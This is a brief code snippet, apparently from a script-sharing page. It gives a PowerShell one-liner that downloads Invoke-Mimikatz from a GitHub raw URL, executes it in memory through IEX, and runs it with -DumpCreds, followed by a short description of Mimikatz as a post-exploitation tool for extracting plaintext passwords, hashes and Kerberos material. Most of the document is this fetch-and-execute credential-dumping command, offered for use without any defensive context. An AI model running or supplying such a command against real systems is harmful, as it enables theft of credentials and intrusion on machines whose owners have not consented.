This runs the powershell script by directly pulling it from Github and executing it "in memory" on your system.

PowerShell
Edit|Remove
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’) ; Invoke-Mimikatz -DumpCreds
 
Mimikatz is a Windows post-exploitation tool written by Benjamin Delpy (@gentilkiwi). It allows for the extraction of plaintext credentials from memory, password hashes from local SAM/NTDS.dit databases, advanced Kerberos functionality, and more.